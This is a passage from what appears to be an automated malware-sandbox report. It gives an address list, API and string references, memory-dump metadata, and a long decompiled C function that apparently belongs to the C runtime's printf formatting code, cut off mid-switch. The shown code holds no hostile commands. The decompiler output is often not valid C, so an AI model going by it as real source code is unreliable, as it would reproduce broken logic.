0x004278a8
0x004278a8
0x004278ac
0x004278ae
0x004278b4
0x004278b4
0x004278b7
0x004278ba
0x004278c0
0x004278c0
0x004278c0
0x004278cc
0x004278cf
0x004278d5
0x004278d7
0x00000000
0x00000000
0x004278d9
0x004278d9
0x004278df
0x004278e2
0x004278e4
0x00000000
0x00000000
0x004278e6
0x004278ec
0x004278ef
0x004278ef
0x004278f7
0x004278f7
0x004278fd
0x004278fd
0x00427900
0x00000000
0x00427843
0x00427843
0x00427843
0x00427847
0x00427849
0x0042784e
0x0042784e
0x00427851
0x00427858
0x0042785b
0x00427861
0x00427861
0x00427861
0x0042786d
0x00427870
0x00427876
0x00427878
0x00000000
0x00000000
0x0042787a
0x0042787a
0x00427880
0x00427883
0x00427885
0x00000000
0x00000000
0x00427887
0x0042788d
0x00427890
0x00427890
0x00427898
0x0042789e
0x004278a1
0x004278a3
0x00427903
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00427eb3
0x00000000
0x00427bbc
0x00427bbc
0x00427c2b
0x00427c2b
0x00427c2e
0x00427c2e
0x00427c33
0x00427c55
0x00427c55
0x00427c5b
0x00427c7d
0x00427c7d
0x00427c80
0x00427cc7
0x00427cc7
0x00427cca
0x00427ce7
0x00427ceb
0x00427cf3
0x00427cf3
0x00427cf5
0x00427cfb
0x00427ccc
0x00427ccc
0x00427cd0
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c85
0x00427c88
0x00427ca6
0x00427cb2
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8a
0x00427c8e
0x00427c96
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c5d
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c35
0x00427c41
0x00427c47
0x00427c47
0x00427d04
0x00427d04
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427d07
0x00000000
0x00000000
0x00000000
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x00000000
0x00000000
0x00000000
0x00427eb7
0x00000000
0x00000000
0x00427472
0x00427475
0x00427478
0x00000000
0x00000000
0x0042747d
0x00427480
0x00427485
0x00000000
0x00000000
0x00427467
0x00427467
0x0042746a
0x0042746d
0x00000000
0x00000000
0x0042745c
0x0042745f
0x00427462
0x00000000
0x00000000
0x0042748a
0x0042748a
0x0042748d
0x0042748d
0x00427490
0x00000000
0x00000000
0x00427493
0x00000000
0x00000000
0x004272ed
0x004280be
0x004280c4
0x004280cd
0x004280d2
0x00000000
0x004280d2
0x00427eb3
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e9b
0x00427e9e
0x00427ea1
0x00427ea4
0x00427ea7
0x00427eaa
0x00427ead
0x00427ead
0x00427eb0
0x00000000
0x00427eb0
0x00427e90
0x00427e90
0x00427e93
0x00427e96
0x00427e99
0x00000000
0x00000000
0x00000000
0x00427e99
0x00427df2
0x00427df2
0x00427df5
0x00427df8
0x00427dff
0x00427e06
0x00427e0e
0x00427e14
0x00427e17
0x00427e1a
0x00427e21
0x00427e2d
0x00427e33
0x00427e39
0x00427e40
0x00427e42
0x00427e48
0x00427e48
0x00427e4e
0x00427e4e
0x00427e54
0x00427e57
0x00427e5d
0x00427e62
0x00427e65
0x00427dd4
0x00427dd4
0x00427dda
0x00427ddd
0x00427de0
0x00427de2
0x00000000
0x00000000
0x00000000
0x00427de2
0x00427dd4
0x00427d14
0x00427d14
0x00427d1b
0x00000000
0x00000000
0x00000000
0x00427d49
0x00427d49
0x00427d4f
0x00427d55
0x00427d5b
0x00000000
0x00427d5b
0x00427c2b
0x00427be2

APIs

_get_int64_arg.LIBCMTD ref: 00427C39
__aullrem.LIBCMT ref: 00427E06
__aulldiv.LIBCMT ref: 00427E28

Strings

9, xrefs: 00427E39
', xrefs: 00427BD8
0, xrefs: 00427BF4

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction ID: 1e9ab17587643c9afd6d6f4314191f5f50556267bba7881b2ccf0e2225532586
Opcode Fuzzy Hash: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction Fuzzy Hash: CF411471E18229DFDB64DF59E889BAEB7B5BF84304F5045DAD009AB241C7389E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434FA7, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434FA7(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428360(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428380(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E00428290(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004282D0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00428290(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004282D0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E00434220(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E004282D0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E00428290(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C3D0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435560))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E00431210( *(_t557 - 0x251) & 0x000000ff, E0041ACE0(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E004281F0( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E004281F0( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E210();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422D00(_t541))) = 0x16;
																		E00422A90(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041ACB0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x435598; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435580))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x4355c0; // 0x4dce9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004355AC))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
